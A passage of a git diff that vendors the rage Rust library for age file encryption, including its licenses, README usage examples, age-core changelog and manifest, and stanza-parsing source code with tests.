copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + diff --git a/lib/rage/LICENSE-MIT b/lib/rage/LICENSE-MIT new file mode 100644 index 0000000..c775f61 --- /dev/null +++ b/lib/rage/LICENSE-MIT @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2019 Jack Grigg + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/lib/rage/README.md b/lib/rage/README.md new file mode 100644 index 0000000..fd12040 --- /dev/null +++ b/lib/rage/README.md @@ -0,0 +1,206 @@ +

The age logo, an wireframe of St. Peters dome in Rome, with the text: age, file encryption

+ +# rage: Rust implementation of age + +rage is a simple, modern, and secure file encryption tool, using the *age* +format. It features small explicit keys, no config options, and UNIX-style +composability. + +The format specification is at [age-encryption.org/v1](https://age-encryption.org/v1). +age was designed by [@Benjojo](https://benjojo.co.uk/) and +[@FiloSottile](https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl). + +The reference interoperable Go implementation is available at +[filippo.io/age](https://filippo.io/age). + +Hardware PIV tokens such as YubiKeys are supported through the +[age-plugin-yubikey](https://github.com/str4d/age-plugin-yubikey) plugin. + +For more plugins, implementations, tools, and integrations, check out the +[awesome age](https://github.com/FiloSottile/awesome-age) list. + +## Installation + +| Environment | CLI command | +|-------------|-------------| +| Cargo (Rust 1.65+) | `cargo install rage` | +| Homebrew (macOS or Linux) | `brew install rage` | +| MacPorts | `port install rage` | +| Alpine Linux (edge) | `apk add rage` | +| Arch Linux | `pacman -S rage-encryption` | +| Debian | [Debian packages](https://github.com/str4d/rage/releases) | +| NixOS | Add to config: `environment.systemPackages = [ pkgs.rage ];`
Or run `nix-env -i rage` | +| openSUSE Tumbleweed | `zypper install rage-encryption` | +| Ubuntu 20.04+ | [Debian packages](https://github.com/str4d/rage/releases) | +| FreeBSD | `pkg install rage-encryption` | +| Scoop (Windows) | `scoop bucket add main`
`scoop install main/rage` | + +On Windows, Linux, and macOS, you can use the +[pre-built binaries](https://github.com/str4d/rage/releases). + +> Help from new packagers is very welcome. Please use the package name `rage`; +> the fallback package name `rage-encryption` should be used only when there are +> *unavoidable* name conflicts in package systems that use global namespaces. Do +> not rename any binaries; instead use your package system's conflicting package +> mechanism to prevent installation of both packages at once. + +## Usage + +``` +Usage: rage [--encrypt] (-r RECIPIENT | -R PATH)... [-i IDENTITY] [-a] [-o OUTPUT] [INPUT] + rage [--encrypt] --passphrase [-a] [-o OUTPUT] [INPUT] + rage --decrypt [-i IDENTITY] [-o OUTPUT] [INPUT] + +Arguments: + [INPUT] Path to a file to read from. + +Options: + -h, --help Print this help message and exit. + -V, --version Print version info and exit. + -e, --encrypt Encrypt the input (the default). + -d, --decrypt Decrypt the input. + -p, --passphrase Encrypt with a passphrase instead of recipients. + --max-work-factor Maximum work factor to allow for passphrase decryption. + -a, --armor Encrypt to a PEM encoded format. + -r, --recipient Encrypt to the specified RECIPIENT. May be repeated. + -R, --recipients-file Encrypt to the recipients listed at PATH. May be repeated. + -i, --identity Use the identity file at IDENTITY. May be repeated. + -j Use age-plugin-PLUGIN-NAME in its default mode as an identity. + -o, --output Write the result to the file at path OUTPUT. + +INPUT defaults to standard input, and OUTPUT defaults to standard output. +If OUTPUT exists, it will be overwritten. + +RECIPIENT can be: +- An age public key, as generated by rage-keygen ("age1..."). +- An SSH public key ("ssh-ed25519 AAAA...", "ssh-rsa AAAA..."). + +PATH is a path to a file containing age recipients, one per line +(ignoring "#" prefixed comments and empty lines). "-" may be used to +read recipients from standard input. + +IDENTITY is a path to a file with age identities, one per line +(ignoring "#" prefixed comments and empty lines), or to an SSH key file. +Passphrase-encrypted age identity files can be used as identity files. +Multiple identities may be provided, and any unused ones will be ignored. +"-" may be used to read identities from standard input. +``` + +### Multiple recipients + +Files can be encrypted to multiple recipients by repeating `-r/--recipient`. +Every recipient will be able to decrypt the file. + +```bash +$ rage -o example.png.age -r age1uvscypafkkxt6u2gkguxet62cenfmnpc0smzzlyun0lzszfatawq4kvf2u \ + -r age1ex4ty8ppg02555at009uwu5vlk5686k3f23e7mac9z093uvzfp8sxr5jum example.png +``` + +#### Recipient files + +Multiple recipients can also be listed one per line in one or more files passed +with the `-R/--recipients-file` flag. + +``` +$ cat recipients.txt +# Alice +age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p +# Bob +age1lggyhqrw2nlhcxprm67z43rta597azn8gknawjehu9d9dl0jq3yqqvfafg +$ rage -R recipients.txt example.jpg > example.jpg.age +``` + +If the argument to `-R` (or `-i`) is `-`, the file is read from standard input. + +### Passphrases + +Files can be encrypted with a passphrase by using `-p/--passphrase`. By default +rage will automatically generate a secure passphrase. + +```bash +$ rage -p -o example.png.age example.png +Type passphrase (leave empty to autogenerate a secure one): [hidden] +Using an autogenerated passphrase: + kiwi-general-undo-bubble-dwarf-dizzy-fame-side-sunset-sibling +$ rage -d example.png.age >example.png +Type passphrase: [hidden] +``` + +If a binary named `pinentry` is available in `$PATH`, it will be used to ask the +user for a passphrase. The `PINENTRY_PROGRAM` environment variable can be used +to set the binary name or path to use. If a `pinentry` binary is not available, +or `PINENTRY_PROGRAM` is set to the empty string, `rage` will fall back to the +CLI instead. + +### Passphrase-protected identity files + +If an identity file passed to `-i/--identity` is a passphrase-encrypted age +file, it will be automatically decrypted. + +``` +$ rage -p -o key.age <(rage-keygen) +Public key: age1pymw5hyr39qyuc950tget63aq8vfd52dclj8x7xhm08g6ad86dkserumnz +Type passphrase (leave empty to autogenerate a secure one): [hidden] +Using an autogenerated passphrase: + flash-bean-celery-network-curious-flower-salt-amateur-fence-giant +$ rage -r age1pymw5hyr39qyuc950tget63aq8vfd52dclj8x7xhm08g6ad86dkserumnz secrets.txt > secrets.txt.age +$ rage -d -i key.age secrets.txt.age > secrets.txt +Type passphrase: [hidden] +``` + +Passphrase-protected identity files are not necessary for most use cases, where +access to the encrypted identity file implies access to the whole system. +However, they can be useful if the identity file is stored remotely. + +### SSH keys + +As a convenience feature, rage also supports encrypting to `ssh-rsa` and +`ssh-ed25519` SSH public keys, and decrypting with the respective private key +file. (`ssh-agent` is not supported.) + +``` +$ rage -R ~/.ssh/id_ed25519.pub example.png > example.png.age +$ rage -d -i ~/.ssh/id_ed25519 example.png.age > example.png +``` + +Note that SSH key support employs more complex cryptography, and embeds a public +key tag in the encrypted file, making it possible to track files that are +encrypted to a specific public key. + +### Feature flags + +When building with Cargo, you can configure rage using `--no-default-features` +and `--features comma,separated,flags` to enable or disable the following +feature flags: + +- `mount` enables the `rage-mount` tool, which can mount age-encrypted TAR or + ZIP archives as read-only. It is currently only usable on Unix systems, as it + relies on `libfuse`. + +- `ssh` (enabled by default) enables support for reusing existing SSH key files + for age encryption. + +- `unstable` enables in-development functionality. Anything behind this feature + flag has no stability or interoperability guarantees. + +## Rust Library + +Applications wishing to use rage as a library should use the [`age`](https://crates.io/crates/age) +crate, which rage is built on top of. + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age-core/CHANGELOG.md b/lib/rage/age-core/CHANGELOG.md new file mode 100644 index 0000000..bd5699d --- /dev/null +++ b/lib/rage/age-core/CHANGELOG.md @@ -0,0 +1,125 @@ +# Changelog +All notable changes to the age-core crate will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to Rust's notion of +[Semantic Versioning](https://semver.org/spec/v2.0.0.html). All versions prior +to 1.0.0 are beta releases. + +## [Unreleased] + +## [0.11.0] - 2024-11-03 +### Added +- `age_core::format`: + - `FileKey::new` + - `FileKey::init_with_mut` + - `FileKey::try_init_with_mut` + - `is_arbitrary_string` + +### Changed +- Migrated to `secrecy 0.10`. +- `age::plugin::Connection::unidir_receive` now takes an additional argument to + enable handling an optional fourth command. + +## [0.10.0] - 2024-02-04 +### Added +- `impl Eq for age_core::format::Stanza` + +### Changed +- MSRV is now 1.65.0. + +## [0.9.0] - 2022-10-27 +### Changed +- MSRV is now 1.59.0. +- Migrated to `aead 0.5`. + +## [0.8.0] - 2022-05-02 +### Added +- `age_core::io::{DebugReader, DebugWriter}` +- `age_core::plugin::Error::Unsupported` +- `age_core::plugin::Reply::ok_with_metadata` + +### Changed +- MSRV is now 1.56.0. +- `age_core::plugin`: + - `Connection::open` now returns the debugging-friendly concrete type + `Connection, DebugWriter>`. + - `BidirSend::{send, send_stanza}` now return `Ok(Error::Unsupported)` when an + `unsupported` response is received, instead of `Err(io::Error)`, making it + easier for plugins to implement fallback strategies. + +## [0.7.1] - 2021-12-27 +### Fixed +- In 0.7.0, Base64 decoding was moved to the `AgeStanza::body` method, with the + stanza parser only checking for valid Base64 characters. This caused the + parser to start accepting stanzas with non-canonical last body lines (where + the Base64 encoding would have trailing bits that could not be decoded into + full bytes); calling `AgeStanza::body` on these stanzas would cause a panic. + This release fixes the parser to reject non-canonical last body lines, turning + the panic back into an error. + +## [0.7.0] - 2021-10-18 +### Added +- `age_core::secrecy`, which re-exports the `secrecy` crate. +- `age_core::plugin::Error` + +### Changed +- MSRV is now 1.51.0. +- The `body` property of `age_core::format::AgeStanza` has been replaced by the + `AgeStanza::body` method, to enable enclosing parsers to defer Base64 decoding + until the very end. +- `age_core::plugin::Result` now only takes a single generic argument, and uses + `age_core::plugin::Error` for its inner error type. + +## [0.6.0] - 2021-05-02 +### Security +- `age_core::primitives::aead_decrypt` now takes a `size` argument, checked + against the plaintext length. This is to mitigate multi-key attacks, where a + ciphertext can be crafted that decrypts successfully under multiple keys. + Short ciphertexts can only target two keys, which has limited impact. See + [this commit message](https://github.com/FiloSottile/age/commit/2194f6962c8bb3bca8a55f313d5b9302596b593b) + for more details. + +### Added +- `age_core::format::FILE_KEY_BYTES` constant. +- `age_core::plugin` module, which contains common backend logic used by both + the `age` library (to implement client support for plugins) and the + `age-plugin` library. + +### Changed +- The stanza prefix `-> ` and trailing newline are now formal parts of the age + stanza; `age_core::format::write::age_stanza` now includes them in its output, + and `age_core::format::read::age_stanza` expects them to be present. +- Stanza bodies are now canonically serialized with a short (empty if necessary) + last line. `age_core::format::write::age_stanza` outputs the new encoding, and + `age_core::format::read::age_stanza` accepts only the new encoding. The new + API `age_core::format::read::legacy_age_stanza` accepts either kind of stanza + body encoding (the legacy minimal encoding, and the new explicit encoding). + +## [0.5.0] - 2020-11-22 +### Added +- Several structs used when implementing the `age::Identity` and + `age::Recipient` traits: + - `age_core::format::FileKey` + - `age_core::format::Stanza` +- `age_core::format::grease_the_joint`, for generating a random valid recipient + stanza. No other guarantees are made about the stanza's fields. +- `age_core::primitives::{aead_decrypt, aead_encrypt, hkdf}`, to enable these + common primitives to be reused in plugins. + +### Changed +- MSRV is now 1.41.0. +- `age_core::format::write::age_stanza` now takes `args: &[impl AsRef]`. + +## [0.4.0] - 2020-03-25 +No changes; version bumped to keep it in sync with `age`. + +## [0.3.1] - 2020-02-11 +### Fixed +- Bumped dependencies to `cookie-factory ^0.3.1` to fix nightly builds. + +## [0.3.0] - 2020-02-09 +(relative to `age 0.2.0`) + +### Fixed +- Base64 padding is now correctly rejected by the age stanza parser. diff --git a/lib/rage/age-core/Cargo.toml b/lib/rage/age-core/Cargo.toml new file mode 100644 index 0000000..131a54d --- /dev/null +++ b/lib/rage/age-core/Cargo.toml @@ -0,0 +1,41 @@ +[package] +name = "age-core" +description = "[BETA] Common functions used across the age crates" +version = "0.11.0" +authors.workspace = true +repository.workspace = true +readme = "README.md" +license.workspace = true +edition.workspace = true +rust-version.workspace = true + +[package.metadata.docs.rs] +all-features = true +rustdoc-args = ["--cfg", "docsrs"] + +[badges] +maintenance = { status = "experimental" } + +[dependencies] +# Dependencies exposed in a public API: +# (Breaking upgrades to these require a breaking upgrade to this crate.) +chacha20poly1305.workspace = true +cookie-factory.workspace = true +io_tee = "0.1.1" +nom.workspace = true +secrecy.workspace = true + +# Dependencies used internally: +# (Breaking upgrades to these are usually backwards-compatible, but check MSRVs.) +base64.workspace = true +hkdf.workspace = true +rand.workspace = true +sha2.workspace = true +tempfile = { version = "3.2.0", optional = true } + +[features] +plugin = ["tempfile"] +unstable = [] + +[lib] +bench = false diff --git a/lib/rage/age-core/README.md b/lib/rage/age-core/README.md new file mode 100644 index 0000000..3f0ab02 --- /dev/null +++ b/lib/rage/age-core/README.md @@ -0,0 +1,24 @@ +# age-core Rust library + +This crate contains common structs and functions used across the `age` crates. + +You are probably looking for the [`age`](https://crates.io/crates/age) crate +itself. You should only need to directly depend on this crate if you are +implementing a custom recipient type. + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](../LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](../LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age-core/src/format.rs b/lib/rage/age-core/src/format.rs new file mode 100644 index 0000000..f8f97dc --- /dev/null +++ b/lib/rage/age-core/src/format.rs @@ -0,0 +1,616 @@ +//! Core types and encoding operations used by the age file format. + +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use rand::{ + distributions::{Distribution, Uniform}, + thread_rng, RngCore, +}; +use secrecy::{ExposeSecret, ExposeSecretMut, SecretBox}; + +/// The prefix identifying an age stanza. +const STANZA_TAG: &str = "-> "; + +/// The length of an age file key. +pub const FILE_KEY_BYTES: usize = 16; + +/// A file key for encrypting or decrypting an age file. +pub struct FileKey(SecretBox<[u8; FILE_KEY_BYTES]>); + +impl FileKey { + /// Creates a file key using a pre-boxed key. + pub fn new(file_key: Box<[u8; FILE_KEY_BYTES]>) -> Self { + Self(SecretBox::new(file_key)) + } + + /// Creates a file key using a function that can initialize the key in-place. + pub fn init_with_mut(ctr: impl FnOnce(&mut [u8; FILE_KEY_BYTES])) -> Self { + Self(SecretBox::init_with_mut(ctr)) + } + + /// Same as [`Self::init_with_mut`], but the constructor can be fallible. + pub fn try_init_with_mut( + ctr: impl FnOnce(&mut [u8; FILE_KEY_BYTES]) -> Result<(), E>, + ) -> Result { + let mut file_key = SecretBox::new(Box::new([0; FILE_KEY_BYTES])); + ctr(file_key.expose_secret_mut())?; + Ok(Self(file_key)) + } +} + +impl ExposeSecret<[u8; FILE_KEY_BYTES]> for FileKey { + fn expose_secret(&self) -> &[u8; FILE_KEY_BYTES] { + self.0.expose_secret() + } +} + +/// A section of the age header that encapsulates the file key as encrypted to a specific +/// recipient. +/// +/// This is the reference type; see [`Stanza`] for the owned type. +#[derive(Debug)] +pub struct AgeStanza<'a> { + /// A tag identifying this stanza type. + pub tag: &'a str, + /// Zero or more arguments. + pub args: Vec<&'a str>, + /// The body of the stanza, containing a wrapped [`FileKey`]. + /// + /// Represented as the set of Base64-encoded lines for efficiency (so the caller can + /// defer the cost of decoding until the structure containing this stanza has been + /// fully-parsed). + body: Vec<&'a [u8]>, +} + +impl<'a> AgeStanza<'a> { + /// Decodes and returns the body of this stanza. + pub fn body(&self) -> Vec { + // An AgeStanza will always contain at least one chunk. + let (partial_chunk, full_chunks) = self.body.split_last().unwrap(); + + // This is faster than collecting from a flattened iterator. + let mut data = vec![0; full_chunks.len() * 64 + partial_chunk.len()]; + for (i, chunk) in full_chunks.iter().enumerate() { + // These chunks are guaranteed to be full by construction. + data[i * 64..(i + 1) * 64].copy_from_slice(chunk); + } + data[full_chunks.len() * 64..].copy_from_slice(partial_chunk); + + // The chunks are guaranteed to contain Base64 characters by construction. + BASE64_STANDARD_NO_PAD.decode(&data).unwrap() + } +} + +/// A section of the age header that encapsulates the file key as encrypted to a specific +/// recipient. +/// +/// This is the owned type; see [`AgeStanza`] for the reference type. +#[derive(Debug, PartialEq, Eq)] +pub struct Stanza { + /// A tag identifying this stanza type. + pub tag: String, + /// Zero or more arguments. + pub args: Vec, + /// The body of the stanza, containing a wrapped [`FileKey`]. + pub body: Vec, +} + +impl From> for Stanza { + fn from(stanza: AgeStanza<'_>) -> Self { + let body = stanza.body(); + Stanza { + tag: stanza.tag.to_string(), + args: stanza.args.into_iter().map(|s| s.to_string()).collect(), + body, + } + } +} + +/// Checks whether the string is a valid age "arbitrary string" (`1*VCHAR` in ABNF). +pub fn is_arbitrary_string>(s: &S) -> bool { + let s = s.as_ref(); + !s.is_empty() + && s.chars().all(|c| match u8::try_from(c) { + Ok(u) => (33..=126).contains(&u), + Err(_) => false, + }) +} + +/// Creates a random recipient stanza that exercises the joint in the age v1 format. +/// +/// This function is guaranteed to return a valid stanza, but makes no other guarantees +/// about the stanza's fields. +pub fn grease_the_joint() -> Stanza { + // Generate arbitrary strings between 1 and 9 characters long. + fn gen_arbitrary_string(rng: &mut R) -> String { + let length = Uniform::from(1..9).sample(rng); + Uniform::from(33..=126) + .sample_iter(rng) + .map(char::from) + .take(length) + .collect() + } + + let mut rng = thread_rng(); + + // Add a suffix to the random tag so users know what is going on. + let tag = format!("{}-grease", gen_arbitrary_string(&mut rng)); + + // Between this and the above generation bounds, the first line of the recipient + // stanza will be between eight and 66 characters. + let args = (0..Uniform::from(0..5).sample(&mut rng)) + .map(|_| gen_arbitrary_string(&mut rng)) + .collect(); + + // A length between 0 and 100 bytes exercises the following stanza bodies: + // - Empty + // - Single short-line + // - Single full-line + // - Two lines, second short + // - Two lines, both full + // - Three lines, last short + let mut body = vec![0; Uniform::from(0..100).sample(&mut rng)]; + rng.fill_bytes(&mut body); + + Stanza { tag, args, body } +} + +/// Decoding operations for age types. +pub mod read { + use nom::{ + branch::alt, + bytes::streaming::{tag, take_while1, take_while_m_n}, + character::streaming::newline, + combinator::{map, map_opt, opt, verify}, + multi::{many_till, separated_list1}, + sequence::{pair, preceded, terminated}, + IResult, + }; + + use super::{AgeStanza, STANZA_TAG}; + + fn is_base64_char(c: u8) -> bool { + // Check against the ASCII values of the standard Base64 character set. + matches!( + c, + // A..=Z | a..=z | 0..=9 | + | / + 65..=90 | 97..=122 | 48..=57 | 43 | 47, + ) + } + + /// Returns true if the byte is one of the specific ASCII values of the standard + /// Base64 character set which leave trailing bits when they occur as the last + /// character in an encoding of length 2 mod 4. + fn base64_has_no_trailing_bits_2(c: &u8) -> bool { + // With two trailing characters, the last character has up to four trailing bits. + matches!( + c, + // A | Q | g | w + 65 | 81 | 103 | 119, + ) + } + + /// Returns true if the byte is one of the specific ASCII values of the standard + /// Base64 character set which leave trailing bits when they occur as the last + /// character in an encoding of length 3 mod 4. + fn base64_has_no_trailing_bits_3(c: &u8) -> bool { + // With three trailing characters, the last character has up to two trailing bits. + matches!( + c, + // A | E | I | M | Q | U | Y | c | g | k | o | s | w | 0 | 4 | 8 + 65 | 69 | 73 | 77 | 81 | 85 | 89 | 99 | 103 | 107 | 111 | 115 | 119 | 48 | 52 | 56, + ) + } + + /// Reads an age "arbitrary string". + /// + /// From the age specification: + /// ```text + /// ... an arbitrary string is a sequence of ASCII characters with values 33 to 126. + /// ``` + pub fn arbitrary_string(input: &[u8]) -> IResult<&[u8], &str> { + map(take_while1(|c| (33..=126).contains(&c)), |bytes| { + // Safety: ASCII bytes are valid UTF-8 + unsafe { std::str::from_utf8_unchecked(bytes) } + })(input) + } + + fn wrapped_encoded_data(input: &[u8]) -> IResult<&[u8], Vec<&[u8]>> { + map( + many_till( + // Any body lines before the last MUST be full-length. + terminated(take_while_m_n(64, 64, is_base64_char), newline), + // Last body line: + // - MUST be short (empty if necessary). + // - MUST be a valid Base64 length (i.e. the length must not be 1 mod 4). + // - MUST NOT leave trailing bits (if the length is 2 or 3 mod 4). + verify( + terminated(take_while_m_n(0, 63, is_base64_char), newline), + |line: &[u8]| match line.len() % 4 { + 0 => true, + 1 => false, + 2 => base64_has_no_trailing_bits_2(line.last().unwrap()), + 3 => base64_has_no_trailing_bits_3(line.last().unwrap()), + // No other cases, but Rust wants an exhaustive match on u8. + _ => unreachable!(), + }, + ), + ), + |(full_chunks, partial_chunk): (Vec<&[u8]>, &[u8])| { + let mut chunks = full_chunks; + chunks.push(partial_chunk); + chunks + }, + )(input) + } + + fn legacy_wrapped_encoded_data(input: &[u8]) -> IResult<&[u8], Vec<&[u8]>> { + map_opt( + separated_list1(newline, take_while1(is_base64_char)), + |chunks: Vec<&[u8]>| { + // Enforce that the only chunk allowed to be shorter than 64 characters + // is the last chunk, and that its length must not be 1 mod 4. + let (partial_chunk, full_chunks) = chunks.split_last().unwrap(); + if full_chunks.iter().any(|s| s.len() != 64) + || partial_chunk.len() > 64 + || partial_chunk.len() % 4 == 1 + || (partial_chunk.len() % 4 == 2 + && !base64_has_no_trailing_bits_2(partial_chunk.last().unwrap())) + || (partial_chunk.len() % 4 == 3 + && !base64_has_no_trailing_bits_3(partial_chunk.last().unwrap())) + { + None + } else { + Some(chunks) + } + }, + )(input) + } + + /// Reads an age stanza. + /// + /// From the age spec: + /// ```text + /// Each recipient stanza starts with a line beginning with -> and its type name, + /// followed by zero or more SP-separated arguments. The type name and the arguments + /// are arbitrary strings. Unknown recipient types are ignored. The rest of the + /// recipient stanza is a body of canonical base64 from RFC 4648 without padding + /// wrapped at exactly 64 columns. + /// ``` + pub fn age_stanza(input: &[u8]) -> IResult<&[u8], AgeStanza<'_>> { + map( + pair( + preceded( + tag(STANZA_TAG), + terminated(separated_list1(tag(" "), arbitrary_string), newline), + ), + wrapped_encoded_data, + ), + |(mut args, body)| { + let tag = args.remove(0); + AgeStanza { tag, args, body } + }, + )(input) + } + + fn legacy_age_stanza_inner(input: &[u8]) -> IResult<&[u8], AgeStanza<'_>> { + map( + pair( + preceded(tag(STANZA_TAG), separated_list1(tag(" "), arbitrary_string)), + terminated(opt(preceded(newline, legacy_wrapped_encoded_data)), newline), + ), + |(mut args, body)| { + let tag = args.remove(0); + AgeStanza { + tag, + args, + body: body.unwrap_or_else(|| vec![&[]]), + } + }, + )(input) + } + + /// Reads a age stanza, allowing the legacy encoding of an body. + /// + /// From the age spec: + /// ```text + /// Each recipient stanza starts with a line beginning with -> and its type name, + /// followed by zero or more SP-separated arguments. The type name and the arguments + /// are arbitrary strings. Unknown recipient types are ignored. The rest of the + /// recipient stanza is a body of canonical base64 from RFC 4648 without padding + /// wrapped at exactly 64 columns. + /// ``` + /// + /// The spec was originally unclear about how to encode a stanza body. Both age and + /// rage implemented the encoding in a way such that a stanza with a body of length of + /// 0 mod 64 was indistinguishable from an incomplete stanza. The spec now requires a + /// stanza body to always be terminated with a short line (empty if necessary). This + /// API exists to handle files that include the legacy encoding. The only known + /// generator of 0 mod 64 bodies is [`grease_the_joint`], so this should only affect + /// age files encrypted with beta versions of the `age` or `rage` crates. + /// + /// [`grease_the_joint`]: super::grease_the_joint + pub fn legacy_age_stanza(input: &[u8]) -> IResult<&[u8], AgeStanza<'_>> { + alt((age_stanza, legacy_age_stanza_inner))(input) + } + + #[cfg(test)] + mod tests { + use super::*; + + #[test] + fn base64_padding_rejected() { + assert!(wrapped_encoded_data(b"Tm8gcGFkZGluZyE\n").is_ok()); + assert!(wrapped_encoded_data(b"Tm8gcGFkZGluZyE=\n").is_err()); + // Internal padding is also rejected. + assert!(wrapped_encoded_data(b"SW50ZXJuYWwUGFk\n").is_ok()); + 